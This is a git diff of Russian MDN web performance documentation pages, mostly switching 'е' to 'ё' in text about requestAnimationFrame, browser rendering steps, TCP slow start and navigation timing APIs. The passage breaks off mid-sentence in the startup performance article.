последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом <code>canvas</code>.</p> <div class="note"> <p><strong>Заметка:</strong> В некоторых случаях (в зависимости от платформы) вам может понадобиться добавить свойство <code>translateZ(0.1)</code>, если вы хотите заставить клиента перенести вычисление анимаций на графический адаптер. Как было упомянуто выше, это может улучшить производительность, но увеличит потребление памяти. Какое из зол - меньшее - решать вам. Протестируйте оба варианта и выясните, что лучше подходит для вашего приложения.</p> @@ -184,9 +184,9 @@ original_slug: Web/Performance/Основы <h4 id="Используйте_requestAnimationFrame_вместо_setInterval">Используйте <code>requestAnimationFrame()</code> вместо <code>setInterval()</code></h4> -<p>Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошел до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.</p> +<p>Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошёл до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.</p> -<p>Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждет, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.</p> +<p>Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждёт, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.</p> <h4 id="Делайте_события_мгновенными">Делайте события мгновенными</h4> @@ -200,7 +200,7 @@ original_slug: Web/Performance/Основы <h2 id="Общий_анализ_производительности">Общий анализ производительности</h2> -<p>Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> покажет точное время, когда произошел каждый сетевой запрос, насколько большим он был и как долго обрабатывался.</p> +<p>Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> покажет точное время, когда произошёл каждый сетевой запрос, насколько большим он был и как долго обрабатывался.</p> <p><img alt="The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph." src="https://mdn.mozillademos.org/files/6845/network-monitor.jpg" style="display: block; height: 713px; margin: 0px auto; width: 700px;"></p> @@ -222,4 +222,4 @@ original_slug: Web/Performance/Основы <p>Если инструменты разработчика в Firefox или Chrome не помогают вам выяснить проблему или выглядит так, что браузеры сами по себе создают проблему, попробуйте сформировать тестовое окружение, которое максимально изолирует проблему. Это очень часто помогать диагностировать проблему.</p> -<p>Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчет в <a href="https://bugzilla.mozilla.org/">Bugzilla</a> или, например, сохраните файл на своем сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.</p> +<p>Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчёт в <a href="https://bugzilla.mozilla.org/">Bugzilla</a> или, например, сохраните файл на своём сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.</p> diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html index cda110effb..97c05dfae7 100644 --- a/files/ru/web/performance/how_browsers_work/index.html +++ b/files/ru/web/performance/how_browsers_work/index.html @@ -37,11 +37,11 @@ translation_of: Web/Performance/How_browsers_work <h3 id="DNS_запрос">DNS запрос</h3> -<p>Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на <code>https://example.com</code>, браузер грузит HTML-код страницы с IP-адреса <code>93.184.216.34</code>. Если вы никогда ранее не были на этом сайте, произойдет поиск DNS записи.</p> +<p>Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на <code>https://example.com</code>, браузер грузит HTML-код страницы с IP-адреса <code>93.184.216.34</code>. Если вы никогда ранее не были на этом сайте, произойдёт поиск DNS записи.</p> <p>Ваш браузер запрашивает DNS запись. Как правило, запрос содержит имя сервера, который должен быть преобразован в IP-адрес. Ответ на этот запрос какое-то время будет сохранён в кэше устройства, чтобы его можно было быстро получить при следующем запросе к тому же серверу.</p> -<p>DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счетчики аналитики находятся на разных доменах, DNS запрос будет осуществлен для каждого из них.</p> +<p>DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счётчики аналитики находятся на разных доменах, DNS запрос будет осуществлён для каждого из них.</p> <p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p> @@ -93,7 +93,7 @@ translation_of: Web/Performance/How_browsers_work <p>Объём первого пакета данных - всегда 14KB. Это часть спецификации {{glossary('TCP slow start')}} - алгоритма, который балансирует скорость соединения. Такое правило позволяет постепенно, по мере необходимости, увеличивать размеры передаваемых данных, пока не будет определена максимальная ширина канала.</p> -<p>В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрется в проблему переполнения.</p> +<p>В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрётся в проблему переполнения.</p> <p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p> @@ -101,7 +101,7 @@ translation_of: Web/Performance/How_browsers_work <h3 id="Контроль_переполнения">Контроль переполнения</h3> -<p>Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведет к лишней работе сервера и дополнительной нагрузке сети.</p> +<p>Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведёт к лишней работе сервера и дополнительной нагрузке сети.</p> <h2 id="Парсинг">Парсинг</h2> @@ -121,11 +121,11 @@ translation_of: Web/Performance/How_browsers_work <p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p> -<p>Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <code><script></code>, особенно если он без параметров <code>async</code> или <code>defer</code> - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объемные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.</p> +<p>Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <code><script></code>, особенно если он без параметров <code>async</code> или <code>defer</code> - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объёмные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.</p> <h3 id="Сканер_предзагрузки">Сканер предзагрузки</h3> -<p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдет до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p> +<p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдёт до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p> <pre class="brush:html notranslate"><link rel="stylesheet" src="styles.css"/> <script src="myscript.js" <strong>async</strong>></script> @@ -141,7 +141,7 @@ translation_of: Web/Performance/How_browsers_work <h3 id="Построение_модели_стилей_CSSOM">Построение модели стилей CSSOM</h3> -<p>Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создает дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.</p> +<p>Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создаёт дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.</p> <p>Как и в HTML, браузер должен преобразовать полученные правила CSS во что-то, с чем он может работать. Таким образом, весь этот процесс - это повторение формирования DOM, только для CSS.</p> @@ -169,9 +169,9 @@ translation_of: Web/Performance/How_browsers_work <p>Третий шаг в критическом пути рендеринга - это комбинирование DOM и CSSOM в дерево рендеринга. Конструирование этого дерева начинается с прохода всего DOM-дерева от корня, с выявлением каждого видимого узла.</p> -<p>Элементы, которые не должны быть показаны, например, <code><head></code>, а так же их дети или любые элементы с <code>display:none</code>, такие как <code>script { display: none; }</code>, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом <code>visibility: hidden</code> включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел <code>script</code> в примере выше также не будет включен в дерево рендера.</p> +<p>Элементы, которые не должны быть показаны, например, <code><head></code>, а так же их дети или любые элементы с <code>display:none</code>, такие как <code>script { display: none; }</code>, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом <code>visibility: hidden</code> включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел <code>script</code> в примере выше также не будет включён в дерево рендера.</p> -<p>Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путем применения всех подходящих правил с использованием <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p> +<p>Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путём применения всех подходящих правил с использованием <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p> <h3 id="Компоновка_Layout">Компоновка (Layout)</h3> @@ -181,7 +181,7 @@ translation_of: Web/Performance/How_browsers_work <p>На веб-странице практически все элементы прямоугольны (box). Разные устройства и настройки подразумевают бесчисленное количество разных размеров видимой области. На начальной фазе браузер, учитывая размер видимой области, определяет какие размеры разных элементов должны быть на экране. Использует размер видимой области как базис, процесс начинает вычисление с элемента <code>body</code>, затем переходит к его потомкам, вычисляет размеры каждого элемента и резервирует место для тех элементов, размеры которых он ещё не знает (например, изображения).</p> -<p>Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдет reflow.</p> +<p>Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдёт reflow.</p> <h3 id="Отрисовка_Paint">Отрисовка (Paint)</h3> @@ -189,7 +189,7 @@ translation_of: Web/Performance/How_browsers_work <p>Чтобы обеспечить плавную прокрутку и анимацию, отрисовка каждого элемента занимает весь основной поток. Сюда включается вычисление стилей, повторное вычисление стилей и отрисовка. Все эти этапы должны выполняться не дольше 16.67 мс. (1000мс. / 60 кадров в секунду). При разрешении 2048х1536 экран iPad содержит 3.145.000 пикселей, которые должны быть отрисованы. Это много! Для того, чтобы сделать инициирующую и повторную отрисовки быстрее, можно разбить весь процесс на несколько слоёв. Когда это случается - становится необходима композиция.</p> -<p>Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоев на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/canvas"><canvas></a></code>; а также CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> и <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.</p> +<p>Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоёв на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/canvas"><canvas></a></code>; а также CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> и <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.</p> <p>Слои улучшают производительность. Но, с точки зрения управления памяти, они неэффективны. Поэтому старайтесь не использовать их там, где в нет необходимости.</p> diff --git a/files/ru/web/performance/how_long_is_too_long/index.html b/files/ru/web/performance/how_long_is_too_long/index.html index 37a17d18e9..e53c2f96a4 100644 --- a/files/ru/web/performance/how_long_is_too_long/index.html +++ b/files/ru/web/performance/how_long_is_too_long/index.html @@ -13,7 +13,7 @@ translation_of: Web/Performance/How_long_is_too_long <h3 id="Загрузка_контента">Загрузка контента</h3> -<p>Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймет, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.</p> +<p>Понятие "до секунды" часто считается оптимальным для загрузки. Но что это означает? Правило секунды должно рассматриваться как правило максимального времени, за которое пользователь поймёт, что запрос был отправлен и будет загружен. Например, когда браузер принимает заголовок страницы или фоновый цвет и показывает её пользователю.</p> <p>Как правило, первый ресурс, который получает клиент - это HTML документ, который затем делает запрос на загрузку остальных ресурсов. Как было подмечено в <a href="/ru/docs/Web/Performance/Critical_rendering_path">статье о критическом пути рендеринга</a> - как только браузер получает данные, он сразу начинает их обработку, вместо того, чтобы дожидаться загрузки всех ресурсов.</p> @@ -27,7 +27,7 @@ translation_of: Web/Performance/How_long_is_too_long <h3 id="Анимация">Анимация</h3> -<p>Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создает впечатление зависающего приложения.</p> +<p>Для того, чтобы прокрутка и другие анимации выглядели плавно, контент страницы должен обновляться с частотой 60 кадров в секунду (60 fps), то есть один кадр раз в 16.7мс. В эти 16.7мс. должны входить выполнение скриптов, компоновка и отрисовка. Делайте приложение таким, чтобы приложение могло использовать 6мс на отрисовку контента, а в остальные 10мс могло заниматься оставшимися вычислениями. Любая другая частота кадров, особенно если она отрывистая и непостоянная, создаёт впечатление зависающего приложения.</p> <h3 id="Отзывчивость">Отзывчивость</h3> diff --git a/files/ru/web/performance/index.html b/files/ru/web/performance/index.html index 82f34d4d7a..5eb18aa302 100644 --- a/files/ru/web/performance/index.html +++ b/files/ru/web/performance/index.html @@ -19,9 +19,9 @@ tags: - Web Performance translation_of: Web/Performance --- -<p>Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учета всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".</p> +<p>Производительность в web - это объективные измерения и пользовательские ощущения, связанные с загрузкой и работой приложения. Производительность - это о том, как долго сайт грузится, становится интерактивным и отзывчивым, о том, как плавно происходит взаимодействие с контентом. Плавный ли скролл страницы? Все ли кнопки кликабельны? Всплывающие окна загружаются и показываются быстро? А анимируются? Хорошая производительность требует учёта всех аспектов: как объективных, например, фактическое время загрузки страницы или частота смены кадров; так и субъективных - в буквальном смысле "как пользователь воспринимает систему".</p> -<p>Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счет неочевидных хитростей, например, за счет асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". </p> +<p>Чем дольше загружается ваше приложение, тем больше пользователей решаются избавиться от него. Очень важно уменьшать время загрузки приложения, а так же промежутка времени, за которое оно становится интерактивным. Но в то же время, важно добавлять в приложение новые возможности, которые уменьшают время отклика и делают приложение интерактивным за счёт неочевидных хитростей, например, за счёт асинхронной загрузки данных, которые не понадобятся пользователю "здесь и сейчас". </p> <p>Существуют инструменты измерения производительности, API и лучшие практики, которые помогут нам измерять и улучшать производительность. Мы постараемся раскрыть их в следующей секции:</p> diff --git a/files/ru/web/performance/navigation_and_resource_timings/index.html b/files/ru/web/performance/navigation_and_resource_timings/index.html index 2fc612aca0..3dbae7164f 100644 --- a/files/ru/web/performance/navigation_and_resource_timings/index.html +++ b/files/ru/web/performance/navigation_and_resource_timings/index.html @@ -76,12 +76,12 @@ translation_of: Web/Performance/Navigation_and_resource_timings <tr> <td>{{domxref("PerformanceTiming.domainLookupEnd","domainLookupEnd")}}</td> <td> - <p>Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p> + <p>Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p> </td> </tr> <tr> <td>{{domxref("PerformanceTiming.domainLookupStart","domainLookupStart")}}</td> - <td>Начался поиск домена. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</td> + <td>Начался поиск домена. Если используется постоянное соединение, или используются данные, сохранённые в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</td> </tr> <tr> <td>{{domxref("PerformanceTiming.fetchStart","fetchStart")}}</td> @@ -236,7 +236,7 @@ performance.getEntriesByType('frame').forEach((frame) => { <h2 id="Navigation">Navigation</h2> -<p>Когда пользователь запрашивает веб-приложение,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> браузер должен получить некоторые мета-данные</a>, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создает деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестает парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие <a href="/en-US/docs/">DOMContentLoaded</a>, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.</p> +<p>Когда пользователь запрашивает веб-приложение,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> браузер должен получить некоторые мета-данные</a>, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создаёт деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестаёт парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие <a href="/en-US/docs/">DOMContentLoaded</a>, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.</p> <pre>let navigationTimings = performance.getEntriesByType('navigation');</pre> @@ -274,7 +274,7 @@ performance.getEntriesByType('frame').forEach((frame) => { <p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Если мы проверим вычисления, то результат получится схожим: </span></span></span><code>1 - (22.04 / 87.24) = 0.747</code>. Тайминги навигации позволяют нам получить такие данные программно.</p> -<p>Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объемом 300КБ вы передаете сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершен DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведет к зависанию интерфейса.</p> +<p>Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объёмом 300КБ вы передаёте сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленнее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершён DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведёт к зависанию интерфейса.</p> <h3 id="Время_запроса">Время запроса</h3> @@ -298,7 +298,7 @@ performance.getEntriesByType('frame').forEach((frame) => { <p>В объекте данных есть поле Длительность (<code>Duration</code>). Длительность - это разница между <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/loadEventEnd">PerformanceNavigationTiming.loadEventEnd</a> и <a href="/en-US/docs/Web/API/PerformanceEntry/startTime">PerformanceEntry.startTime</a> properties.</p> -<p>Интерфейс PerformanceNavigationTiming, кроме того, дает информацию о том, какой тип навигации вы измеряете, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> или <code>prerender</code>.</p> +<p>Интерфейс PerformanceNavigationTiming, кроме того, даёт информацию о том, какой тип навигации вы измеряете, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> или <code>prerender</code>.</p> <h2 id="Resource">Resource</h2> diff --git a/files/ru/web/performance/optimizing_startup_performance/index.html b/files/ru/web/performance/optimizing_startup_performance/index.html index 6da93e1660..3358f1b8f4 100644 --- a/files/ru/web/performance/optimizing_startup_performance/index.html +++ b/files/ru/web/performance/optimizing_startup_performance/index.html @@ -4,7 +4,7 @@ slug: Web/Performance/Optimizing_startup_performance translation_of: Web/Performance/Optimizing_startup_performance --- <div class="summary"> -<p>Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создается ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идет не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.</p> +<p>Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создаётся ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идёт не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.</p> </div> <h2 id="Приятный_запуск">Приятный запуск</h2> @@ -13,7 +13,7 @@ translation_of: Web/Performance/Optimizing_startup_performance <p>Вместо этого, вы можете разбить ваш код так, чтобы часть его обрабатывалась в <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web worker</a>, что выделит его в отдельные фоновые неблокирующие треды (например, запросы данных и их обработка). Затем, все, что должно быть выполнено в основном потоке (например, пользовательские события или рендеринг интерфейса) должно быть разбито на небольшие кусочки так, чтобы обработчик браузера выполнял небольшие куски кода итеративно, а не за один подход. Это позволит ваше приложению выглядеть отзывчивым даже во время первоначальной загрузки.</p> -<p>Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счете это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.</p> +<p>Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счёте это может привести даже к системным предупреждениям о "медленных скриптах" или 